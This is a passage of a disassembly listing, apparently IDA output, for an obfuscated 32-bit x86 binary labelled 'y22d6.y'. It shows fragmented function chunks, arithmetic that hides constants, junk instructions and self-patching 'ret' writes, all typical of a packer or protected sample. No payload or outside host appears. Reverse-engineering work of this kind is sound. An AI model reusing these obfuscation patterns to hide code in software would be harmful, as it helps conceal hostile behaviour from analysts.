; CODE XREF: y22d6.y.:0043D818j jmp locret_445130 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A1BC loc_43B0CA: ; CODE XREF: sub_43A1BC-21A9j jmp nullsub_22 ; END OF FUNCTION CHUNK FOR sub_43A1BC ; --------------------------------------------------------------------------- loc_43B0CF: ; CODE XREF: y22d6.y.:00447A5Fj mov esi, [edx] pop esi xor edi, 3FCA0FCDh ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43B0D8: ; CODE XREF: sub_44BCC2:loc_447A4Dj xor eax, 390107DAh jmp loc_441748 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_43B0E3: ; CODE XREF: sub_43A6E1:loc_4426C4j jnz loc_44D58E jmp loc_4408EA ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; =============== S U B R O U T I N E ======================================= sub_43B0EE proc near ; CODE XREF: sub_443D70:loc_438E8Ep ; y22d6.y.:0043C70Dj ; FUNCTION CHUNK AT 004393B8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043E766 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043FF51 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440044 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00441930 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CF5F SIZE 0000000B BYTES xchg edi, [esp+0] pop edi push ebx mov ebx, ecx xchg ebx, [esp+0] jmp loc_43FF51 sub_43B0EE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_43B0FD: ; CODE XREF: sub_44439D+14AFj test eax, 200000h jmp loc_43FEBB ; END OF FUNCTION CHUNK FOR sub_44439D ; --------------------------------------------------------------------------- not ebx jmp sub_43A28E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_43B10F: ; CODE XREF: sub_44DB81-993Ej jbe loc_44137E test ebx, edi jmp loc_44564C ; END OF FUNCTION CHUNK FOR sub_44DB81 ; =============== S U B R O U T I N E ======================================= sub_43B11C proc near ; CODE XREF: y22d6.y.:00440AD9j ; sub_449641+4A7p ; FUNCTION CHUNK AT 0043DB1E SIZE 00000005 BYTES xchg esi, [esp+0] pop esi call sub_444581 loc_43B125: ; CODE XREF: y22d6.y.:004487C1j mov ds:off_41E21C, eax push offset loc_44270C jmp loc_43DB1E sub_43B11C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4499F4 loc_43B135: ; CODE XREF: sub_4499F4:loc_447263j and edx, 4E07AD22h sub edx, 0A16FA68Ch test edx, 8000h jmp loc_43C214 ; END OF FUNCTION CHUNK FOR sub_4499F4 ; --------------------------------------------------------------------------- jmp ds:off_41E1FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449C1B loc_43B152: ; CODE XREF: sub_449C1B+8j jmp loc_44AE64 ; END OF FUNCTION CHUNK FOR sub_449C1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4428C2 loc_43B157: ; CODE XREF: sub_4428C2-97BBj ; y22d6.y.:loc_449A38j ... jb loc_441A8A xchg ebp, [esp+4+var_4] mov edx, ebp jmp loc_43A64C ; END OF FUNCTION CHUNK FOR sub_4428C2 ; =============== S U B R O U T I N E ======================================= sub_43B167 proc near ; DATA XREF: y22d6.y.:00438580o lea eax, sub_44E1BD mov byte ptr [eax], 0C3h jmp loc_443901 sub_43B167 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E1BD loc_43B175: ; CODE XREF: sub_44E1BD+1j mov eax, [esp+0] push edx push offset sub_448465 jmp loc_43D6AB ; END OF FUNCTION CHUNK FOR sub_44E1BD ; --------------------------------------------------------------------------- ror ebp, 16h and ecx, eax jmp sub_43B006 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E14E loc_43B18D: ; CODE XREF: sub_44E14E:loc_448BECj rol edi, 1Fh or edi, 64B92A87h add edi, 8943843Bh xchg edi, [esp+0] jmp loc_447DA7 ; END OF FUNCTION CHUNK FOR sub_44E14E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445A15 loc_43B1A4: ; CODE XREF: sub_445A15-8B50j ; y22d6.y.:0043CEDBj push offset loc_4412DD jmp loc_43DC14 ; END OF FUNCTION CHUNK FOR sub_445A15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43B1AE: ; CODE XREF: sub_448EB6:loc_43ABE8j mov eax, [ebp-20h] call sub_442266 pop ecx mov [ebp-20h], eax jmp loc_444720 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_43B1BF: ; CODE XREF: sub_44B635-118BFj ; sub_44B635:loc_43F60Aj mov eax, 0CF0182F6h call sub_43CA1A xor eax, 0E2EB2F0Ah rol eax, 19h push esi loc_43B1D3: ; CODE XREF: y22d6.y.:loc_4378ECj push 0F0A247E8h pop esi sub esi, 52B623E7h jmp loc_448C4E ; END OF FUNCTION CHUNK FOR sub_44B635 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43B1E4: ; CODE XREF: sub_44B17B:loc_43B0B6j sub ebx, 601D63F2h and ebx, 0E41F6195h or ebx, 32EC2011h xor ebx, 0B3C6BB37h jmp loc_4398B3 ; END OF FUNCTION CHUNK FOR sub_44B17B ; =============== S U B R O U T I N E ======================================= sub_43B201 proc near ; CODE XREF: sub_448EB6+51j ; y22d6.y.:0044C54Bp ; FUNCTION CHUNK AT 0043DDDC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043EF96 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445098 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00446019 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044A82C SIZE 0000000D BYTES xchg ebx, [esp+0] pop ebx push eax call sub_44BF7B loc_43B20B: ; CODE XREF: y22d6.y.:0044BC4Bj jmp loc_43DDDC sub_43B201 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_43B210: ; CODE XREF: sub_4481EF-C7Ej jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_4481EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BE66 loc_43B215: ; CODE XREF: sub_43BE66+6j jmp nullsub_24 ; END OF FUNCTION CHUNK FOR sub_43BE66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43B21A: ; CODE XREF: sub_44633F-D2C5j jmp loc_4487D0 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AF5B loc_43B21F: ; CODE XREF: sub_43AF5B-328Fj jmp loc_43708E ; END OF FUNCTION CHUNK FOR sub_43AF5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43B224: ; CODE XREF: y22d6.y.:0043C5BEj ; sub_4432B8-2A62j ... jmp loc_442A4C ; --------------------------------------------------------------------------- loc_43B229: ; CODE XREF: sub_4432B8-BAF3j ; y22d6.y.:00439294j xchg ebx, [esp+0] mov ecx, ebx pop ebx jmp loc_43CF39 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441DA7 loc_43B234: ; CODE XREF: sub_441DA7+10j mov eax, 0CB10B158h call sub_43F7FF mov ds:off_41E024, eax lea eax, sub_439E63 mov byte ptr [eax], 0C3h jmp loc_43A5A5 ; END OF FUNCTION CHUNK FOR sub_441DA7 ; =============== S U B R O U T I N E ======================================= sub_43B252 proc near ; CODE XREF: sub_40140A+96p ; sub_40158F+81p ... ; FUNCTION CHUNK AT 004376DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004378A1 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 004391FD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439B02 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043C517 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043C5C3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043D896 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DC7A SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043E3C9 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004415F6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00441CA8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044278E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00444689 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044485A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044851D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448670 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448E8A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A32F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B1BE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044CDEB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D60F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044E2FC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044E511 SIZE 0000000B BYTES jz loc_43C517 mov eax, ds:dword_4464B4 or eax, eax jmp loc_448E8A sub_43B252 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_43B265: ; CODE XREF: sub_442C0C:loc_43907Fj sub al, 99h mov edx, [ebp+var_4] imul byte ptr [edx] cmp al, 0A4h jz loc_449515 jmp loc_441C9E ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- push ebx push 9993FF3Ah pop ebx and ebx, 2610E332h jns loc_44A402 ; START OF FUNCTION CHUNK FOR sub_44928B loc_43B28C: ; CODE XREF: sub_44928B+532Aj jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_44928B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_43B291: ; CODE XREF: sub_44193A+65E4j jmp loc_441325 ; END OF FUNCTION CHUNK FOR sub_44193A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_43B296: ; CODE XREF: sub_43E185:loc_443FABj mov eax, ebp pop ebp xchg eax, [esp+0Ch+var_C] mov ebp, eax pop eax jmp loc_44AEA0 ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F9E0 loc_43B2A4: ; CODE XREF: sub_43F9E0+3j xchg ecx, [esp+4+var_4] push 0FADD3A96h pop edi or edi, 0F114F282h add edi, 4660FC5h loc_43B2B9: ; CODE XREF: sub_4452EE:loc_439C77j jmp loc_442085 ; END OF FUNCTION CHUNK FOR sub_43F9E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43B2BE: ; CODE XREF: sub_448EB6+E6j or ebx, 0F55FDE99h rol ebx, 1Fh add ebx, 591F153h mov [ebx], eax xchg edi, [esp-0Ch+arg_8] jmp loc_43894E ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B3C9 loc_43B2D7: ; CODE XREF: sub_44B3C9+1j mov eax, [esp+0] push edx call sub_44A46F push 0F24BB1E8h pop eax jmp loc_43FE7E ; END OF FUNCTION CHUNK FOR sub_44B3C9 ; --------------------------------------------------------------------------- or eax, eax loc_43B2ED: ; CODE XREF: y22d6.y.:0043FA82j jnz loc_44D68F jmp loc_440E99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_43B2F8: ; CODE XREF: sub_43837F:loc_43C41Bj mov eax, ds:dword_4465AC[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_43D011 jmp loc_443C6B ; --------------------------------------------------------------------------- loc_43B311: ; CODE XREF: sub_43837F+12B6Fj inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_4465AC[eax*4] jmp loc_43A441 ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B81B loc_43B323: ; CODE XREF: sub_44B81B-604Fj jl loc_44AC2F loc_43B329: ; CODE XREF: sub_44DA87-62BCj jmp nullsub_179 ; END OF FUNCTION CHUNK FOR sub_44B81B ; --------------------------------------------------------------------------- pushf adc ebp, ebx jmp loc_44AC26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_43B336: ; CODE XREF: sub_43B09B+9E16j jg loc_4431EF sub edi, 0C7681CE1h jmp loc_439E11 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- loc_43B347: ; CODE XREF: y22d6.y.:0043E688j pop ecx ; START OF FUNCTION CHUNK FOR sub_444581 loc_43B348: ; CODE XREF: sub_444581-8C23j ; sub_444581+584Ej xchg eax, edx push ebx push 8C62E5D2h pop ebx or ebx, 0D47723E1h jmp loc_439040 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- push 1A1F95A7h pop eax add eax, 36E2B241h and eax, 0AE8658E0h sub eax, 0CC13F859h add eax, 0E6BDAFE5h push eax jmp loc_447BFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B3C9 loc_43B37F: ; CODE XREF: sub_44B3C9:loc_4437FFj mov eax, [esp+4+var_4] push edx call sub_44A46F push 6C48FCDDh jmp loc_43B77E ; END OF FUNCTION CHUNK FOR sub_44B3C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43B392: ; CODE XREF: sub_4432B8:loc_44C77Ej mov edx, 0A2CD59D9h call sub_449725 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; START OF FUNCTION CHUNK FOR sub_442E1F loc_43B39C: ; CODE XREF: sub_442E1F-75ACj jmp loc_43CE3F ; END OF FUNCTION CHUNK FOR sub_442E1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43B3A1: ; CODE XREF: sub_44BCC2-11297j jmp loc_43FE53 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44371A loc_43B3A6: ; CODE XREF: sub_44371A+6547j ror ecx, 19h cmp ebx, 859043FEh jmp loc_43A446 ; END OF FUNCTION CHUNK FOR sub_44371A ; --------------------------------------------------------------------------- loc_43B3B4: ; CODE XREF: y22d6.y.:loc_446E2Dj jl loc_44975F ; START OF FUNCTION CHUNK FOR sub_4489FA loc_43B3BA: ; CODE XREF: sub_4489FA+15j jmp nullsub_117 ; END OF FUNCTION CHUNK FOR sub_4489FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441E5C loc_43B3BF: ; CODE XREF: sub_441E5C+19j jmp loc_442B0C ; END OF FUNCTION CHUNK FOR sub_441E5C ; --------------------------------------------------------------------------- test ebp, ebx jmp loc_441A9E ; --------------------------------------------------------------------------- loc_43B3CB: ; CODE XREF: y22d6.y.:loc_440279j push ecx ; =============== S U B R O U T I N E ======================================= sub_43B3CC proc near ; CODE XREF: sub_449ECF-FBA9p xchg ecx, [esp+0] pop ecx pushf push 0F686FA5Eh pop eax jmp loc_4490E9 sub_43B3CC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446F34 loc_43B3DC: ; CODE XREF: sub_446F34+13j xchg edx, [esp+4+var_4] jmp loc_44ABF4 ; END OF FUNCTION CHUNK FOR sub_446F34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DD42 loc_43B3E4: ; CODE XREF: sub_43DD42+8274j pop ebp locret_43B3E5: ; CODE XREF: sub_44D7E0:loc_447A8Fj retn ; END OF FUNCTION CHUNK FOR sub_43DD42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_43B3E6: ; CODE XREF: sub_4480DE-2130j mov eax, [ebp+var_4] mov al, [eax] sub al, 99h jmp loc_43EFDC ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_43B3F2: ; CODE XREF: sub_44271A-228j sub eax, 0C5B8EACCh rol eax, 0Eh add eax, 0B7F089C9h call sub_43F4EA mov al, [ebp-5] pop ebx xchg esi, [esp+4+var_4] mov ecx, esi jmp loc_44AE34 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- dd 1920C381h, 0E381A52Fh, 8A699478h, 0F0CC3C1h, 3D8983h dd 0EDC3F700h, 0E9D1CA13h, 0FFFFFA02h, 87243C87h, 0FA8B2414h dd 0F4BB535Ah, 0E9004397h, 462Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43B448: ; CODE XREF: sub_4432B8:loc_4456B4j jnz loc_449F59 jmp loc_4450CE ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D44A loc_43B453: ; CODE XREF: sub_44D44A+Fj xor ebx, 66DC113Dh add ebx, 0A63AC2C0h xor ebx, 0C67277C5h sub eax, ebx pop ebx ror eax, 0Eh jmp loc_442C58 ; END OF FUNCTION CHUNK FOR sub_44D44A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_43B470: ; CODE XREF: sub_43FBC3+6124j jnp loc_4433A7 mov [eax], ecx add ecx, 94D30965h jmp loc_44128A ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; --------------------------------------------------------------------------- loc_43B483: ; CODE XREF: y22d6.y.:0043C6A8j jns loc_44E5BA ; =============== S U B R O U T I N E ======================================= sub_43B489 proc near ; CODE XREF: sub_43C55B+1553p xchg edx, [esp+0] pop edx mov byte ptr [eax], 0C3h jmp sub_4464C8 sub_43B489 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4464C8 loc_43B495: ; CODE XREF: sub_4464C8j xchg ebx, [esp+0] mov edx, ebx jmp loc_437A2C ; END OF FUNCTION CHUNK FOR sub_4464C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441191 loc_43B49F: ; CODE XREF: sub_441191:loc_440745j xor eax, 2BBEDA5h call sub_44BB81 ; END OF FUNCTION CHUNK FOR sub_441191 ; START OF FUNCTION CHUNK FOR sub_448802 loc_43B4AA: ; CODE XREF: sub_448802+Cj jmp nullsub_362 ; END OF FUNCTION CHUNK FOR sub_448802 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_43B4B0: ; CODE XREF: sub_43704E+D04Cj jmp loc_43FADF ; END OF FUNCTION CHUNK FOR sub_43704E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437712 loc_43B4B5: ; CODE XREF: sub_437712+4D24j jmp loc_43E6D5 ; END OF FUNCTION CHUNK FOR sub_437712 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DF73 loc_43B4BA: ; CODE XREF: sub_44DF73:loc_44845Bj pop ecx xchg ecx, [esp-4+arg_0] mov ebx, ecx pop ecx pop eax xor eax, 0A2D00C13h jmp loc_440B3B ; END OF FUNCTION CHUNK FOR sub_44DF73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446145 loc_43B4CD: ; CODE XREF: sub_446145+16j call sub_43760A mov edx, 0CF0182F6h call sub_43B01D ; END OF FUNCTION CHUNK FOR sub_446145 ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_43B4DC: ; CODE XREF: sub_43FBC3-5C26j jz loc_441292 jmp loc_445CE5 ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43B4E8: ; CODE XREF: y22d6.y.:loc_4390D9j ; y22d6.y.:00449547j jmp loc_43C115 ; --------------------------------------------------------------------------- loc_43B4ED: ; CODE XREF: y22d6.y.:0043CF5Bj jmp loc_43E4CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4436DB loc_43B4F2: ; CODE XREF: sub_4436DB:loc_447AD4j push ds:dword_441974 retn ; END OF FUNCTION CHUNK FOR sub_4436DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439E63 loc_43B4F9: ; CODE XREF: sub_439E63+54C1j jmp loc_44CC57 ; END OF FUNCTION CHUNK FOR sub_439E63 ; --------------------------------------------------------------------------- loc_43B4FE: ; CODE XREF: y22d6.y.:0043E1E7j jmp loc_43F672 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_43B503: ; CODE XREF: sub_43D20E-17C0j push offset loc_44C3AD jmp nullsub_120 ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- loc_43B50D: ; CODE XREF: y22d6.y.:0044610Bj push offset loc_43FB6D jmp locret_44435F ; --------------------------------------------------------------------------- rol edi, 5 jmp sub_44BA7B ; --------------------------------------------------------------------------- loc_43B51F: ; DATA XREF: sub_43D025:loc_44E3DDo jno loc_43E573 cmp dword ptr [ebp-10h], 0 jnz loc_44D9F8 mov eax, [ebp+8] push eax jmp loc_44D71B ; --------------------------------------------------------------------------- locret_43B538: ; CODE XREF: y22d6.y.:loc_43A85Ej retn ; --------------------------------------------------------------------------- loc_43B539: ; CODE XREF: y22d6.y.:00437A27j jge loc_44CD31 ror ecx, 1Ch shr eax, 15h mov esi, [ebx] ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43B547: ; CODE XREF: sub_4432B8:loc_43A9E3j jmp loc_44B925 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- cmp ecx, ebp jmp loc_442DA0 ; --------------------------------------------------------------------------- loc_43B553: ; CODE XREF: y22d6.y.:004402F0j rol ebx, 9 jmp loc_44D98C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43B55B: ; CODE XREF: sub_44BCC2-3A2j jz loc_442F27 jmp loc_43F542 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; =============== S U B R O U T I N E ======================================= sub_43B566 proc near ; CODE XREF: sub_4410E0:loc_440FC1p ; y22d6.y.:004473A8j ; FUNCTION CHUNK AT 00439586 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E44B SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00443C7B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00448591 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C741 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CDE2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044E0AB SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx mov eax, [ebp-14h] mov eax, [eax+64h] loc_43B570: ; CODE XREF: y22d6.y.:0043D349j push edi push 9AC92D9Eh pop edi jmp loc_448591 sub_43B566 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439CB5 loc_43B57C: ; CODE XREF: sub_439CB5+Aj xchg ecx, [esp-4+arg_0] jmp loc_4498CC ; END OF FUNCTION CHUNK FOR sub_439CB5 ; --------------------------------------------------------------------------- jmp ds:off_41E0B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_43B58A: ; CODE XREF: sub_44BBBA-1398Bj jmp loc_439017 ; END OF FUNCTION CHUNK FOR sub_44BBBA ; =============== S U B R O U T I N E ======================================= sub_43B58F proc near ; CODE XREF: y22d6.y.:loc_43FF5Bj ; y22d6.y.:004480C5j ... push offset loc_44D7BD jmp nullsub_303 sub_43B58F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D3B1 loc_43B599: ; CODE XREF: sub_44D3B1:loc_43F825j jz loc_43A2F6 ; END OF FUNCTION CHUNK FOR sub_44D3B1 ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43B59F: ; CODE XREF: sub_44B1D2-FA9Cj ; y22d6.y.:0043C43Bj jmp loc_43A06D ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- and edi, 7E345A7Ch pushf jmp loc_43A2F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_43B5B0: ; CODE XREF: sub_4480DE+15DCj test al, al jnz loc_445FB4 mov eax, [ebp+var_4] cmp byte ptr [eax], 0E8h jnz loc_44C443 jmp loc_44315E ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_43B5C9: ; CODE XREF: sub_43FAC6:loc_44DCB2j adc edi, ebp add ecx, 804744ABh loc_43B5D1: ; CODE XREF: y22d6.y.:loc_437A88j jmp loc_4458CA ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- loc_43B5D6: ; CODE XREF: y22d6.y.:00445050j jns loc_43CE80 shl esi, 5 jmp sub_43C5EE ; --------------------------------------------------------------------------- push 80C8E061h pop eax and eax, 7542A2CEh rol eax, 1Fh jmp loc_44B1FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440ABC loc_43B5F8: ; CODE XREF: sub_440ABC:loc_4388BCj push edx push 3104DE00h pop edx and edx, 0F3D9F672h xor edx, 6342992Bh add edx, ebp call sub_440626 locret_43B612: ; CODE XREF: sub_43F422-7E36j retn ; END OF FUNCTION CHUNK FOR sub_440ABC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43ED31 loc_43B613: ; CODE XREF: sub_43ED31:loc_449449j add edi, ebp add edi, 0F147406Ch mov [edi], eax pop edi jmp loc_437F35 ; END OF FUNCTION CHUNK FOR sub_43ED31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43B623: ; CODE XREF: sub_448EB6+177j jz loc_44383F jmp loc_43B708 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- dw 6850h dd 71F0FC7Bh, 0FFFDFBE8h, 0A949E9FFh ; CODE XREF: y22d6.y.:00449539j db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439175 loc_43B63E: ; CODE XREF: sub_439175+Aj add ebx, ebp add ebx, 0AE63B4BFh push offset loc_44C3F0 jmp nullsub_56 ; END OF FUNCTION CHUNK FOR sub_439175 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43B650: ; CODE XREF: sub_4432B8-702Bj jnb loc_443FA4 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_43B656 proc near ; CODE XREF: sub_44A359+291Dp ; FUNCTION CHUNK AT 0043EBC8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00445B90 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446DB6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D975 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044E225 SIZE 00000005 BYTES xchg esi, [esp+0] loc_43B659: ; CODE XREF: y22d6.y.:004447E5j pop esi add esi, 2C1EEF6h xor eax, esi pop esi jmp loc_445B90 sub_43B656 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E2B6 loc_43B668: ; CODE XREF: sub_44E2B6:loc_44102Bj jl loc_445D71 ; END OF FUNCTION CHUNK FOR sub_44E2B6 ; START OF FUNCTION CHUNK FOR sub_43D20E loc_43B66E: ; CODE XREF: sub_43D20E+EF5Ej jmp loc_44CBB1 ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- loc_43B673: ; CODE XREF: y22d6.y.:0043ABD8j jmp loc_449F99 ; --------------------------------------------------------------------------- xor edx, ecx jmp loc_445D6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AC5C loc_43B67F: ; CODE XREF: sub_43AC5C+1j mov ebp, esp push ecx mov esp, ebp pop ebp mov eax, ds:dword_441848 jmp loc_44DFE6 ; END OF FUNCTION CHUNK FOR sub_43AC5C ; --------------------------------------------------------------------------- push 642435E4h jmp sub_43D20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_43B69A: ; CODE XREF: sub_44BBBA:loc_43901Dj jge loc_4422DC loc_43B6A0: ; CODE XREF: sub_43F422+4573j jmp loc_442E6D ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- loc_43B6A5: ; CODE XREF: y22d6.y.:00441FA0j jmp nullsub_354 ; --------------------------------------------------------------------------- pop edx sub ebp, 2A736879h popf jmp loc_4422DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B011 loc_43B6B7: ; CODE XREF: sub_44B011+Fj call sub_445F98 ; END OF FUNCTION 